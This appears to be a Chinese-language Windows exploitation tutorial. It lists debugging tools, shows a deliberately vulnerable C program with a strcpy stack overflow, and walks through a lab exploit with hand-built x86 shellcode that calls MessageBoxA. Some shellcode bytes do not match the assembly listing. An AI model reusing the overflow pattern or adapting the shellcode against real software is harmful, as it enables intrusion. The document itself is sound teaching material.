环境工具

在windows pwn中可能会用到的一些工具

Windbg

https://download.microsoft.com/download/4/2/2/42245968-6A79-4DA7-A5FB-08C0AD0AE661/windowssdk/Installers/X86%20Debuggers%20And%20Tools-x86_en-us.msi

WinPwn

https://github.com/byzero512/winpwn

Socat

在本地通过socat起程序做远程环境,是因为其pwntools不支持本地加载进程

https://www.cybercircuits.co.nz/web/blog/socat-1-7-3-2-for-windows

启动命令:

socat tcp-listen:8888,fork EXEC:EasyWinHeap.exe,pipes &

Vmmap

查看内存映射

https://docs.microsoft.com/zh-cn/sysinternals/downloads/vmmap

Process-explorer

进程管理

https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer#download

Checksec.py

查看程序保护

https://gist.github.com/apogiatzis/fb617cd118a9882749b5cb167dae0c5d

mingw-gdb

windows中的gdb

https://sourceforge.net/projects/mingw-w64/files/External%20binary%20packages%20%28Win64%20hosted%29/gdb/

安装支持python脚本的gdb,同时设置环境变量

检查gdb是否支持python脚本的办法

python print sys.version

Peda for windows

https://github.com/Byzero512/peda-windows/

题目

使用vc6.0编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password(char *password){
int authenticated;
char buffer[44]; // local buffer
authenticated = strcmp(password, PASSWORD);
strcpy(buffer,password); // overflow
return authenticated;
}
void main(){
int valid_flag = 0;
char password[1024];
FILE *fp;
LoadLibrary("user32.dll"); // load library
if(!(fp=fopen("password.txt","rw+"))){
exit(0);
}

fscanf(fp,"%s",password);

valid_flag = verify_password(password);
if(valid_flag){
printf("errorerror!\n\n");
}else{
printf("okokokok!");
}
fclose(fp);
}

利用

本次实验在windows 7 sp1版本中完成,控制程序弹出message会话框

栈溢出的前提是在前期我们对栈的概念已经有了个基础的了解后,进而实验的,对此可以在简单温习一下

函数调用栈

Call一个函数时,首先call指令便相当于push eip,即将当前地址压入到栈底

继而push ebpeip-4的地址中填入前一个函数栈的ebp(由于栈空间是从高到低处生长)

之后的出栈操作便从低地址到高地址进行,当使esp再次等于ebp时(即完成栈平衡)

便是在栈中的即将执行完毕时。

首先会pop ebp 将栈底的指弹到ebp中

之后当esp指向栈中的eip处时,由于ret指令等价于pop eip,所以将最后栈底的值弹给eip,最后达成控制eip的目的

确定偏移量溢出点

与linux的类似首先第一步也是要确定溢出偏移量 这里可以通过ida动态调试确定栈空间

确定Messageboxa 函数的地址

与linux中类似,在我们调用库中函数时同样需要知道加载库的基地址,与函数在库中的偏移值。

通过PETools来确定要使用的user32.dll库的的基地址为0x759c0000

image-20211027103917983

之后使用vc组件中的dumbin工具查看messageboxa函数在user32.dll中的偏移

1
DUMPBIN.EXE /EXPORTS c:\\Windows\\system32\\user32.dll|grep MessageBoxA

image-20211027104018161

即 0x759c0000 + 0x0006fd1e = 0x75a2fd1e

构造payload

既然前面填充50个字符就可以控制eip指向ebp,那么在栈地址固定的情况下

我们只需要将shellcode放到前面,将ebp的位置覆盖为栈中shellcode的地址

即可完成对程序执行流的劫持

  1. 确定字符串起始地址

    在栈中观察 0x0018fab8

  2. shellcode

    messageboxa函数所需参数如下

    MessageBoxA(0,"da1sy","da1sy",0);

    构造成汇编代码,将参数压入栈后

    将messageboxa的函数地址放到eax中,最后直接call eax

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    xor ebx,ebx
    push ebx
    push 0x64613173
    push 0x64613173
    mov eax,esp
    push ebx
    push eax
    push eax
    push ebx
    mov eax,0x75a2fd1e
    call eax
    • shellcode构造的问题

      • 汇编代码转换为字节码 (win的capstone)
      • 字节码写入到文件中(调用os写入到file中)
  3. payload结构

    填充字符 EIP
    (Shellcode + “填充字符”).ljust(50,”\x90”) Shellcode_addr
    \x33\xdb\x53\x68\x4a\x43\x59\x50\x68\x4a\x43\x59\x50\x8b\xc4\x53\x50\x50\x53\xb8\x1e\xfd\xa2\x75\xff\xd0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 0x0018fab8 \xb8\xfa\x18\x00

    字节码

    1
    2
    3
    4
    00000000  33 db 53 68 4a 43 59 50  60 4a 43 59 50 8b c4 53  |3.ShJCYP`JCYP..S|
    00000010 50 50 53 b8 1e fd a2 75 ff d0 90 90 90 90 90 90 |PPS....u........|
    00000020 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
    00000030 90 90 90 90 b8 fa 18 00 0a

    image-20211027104725086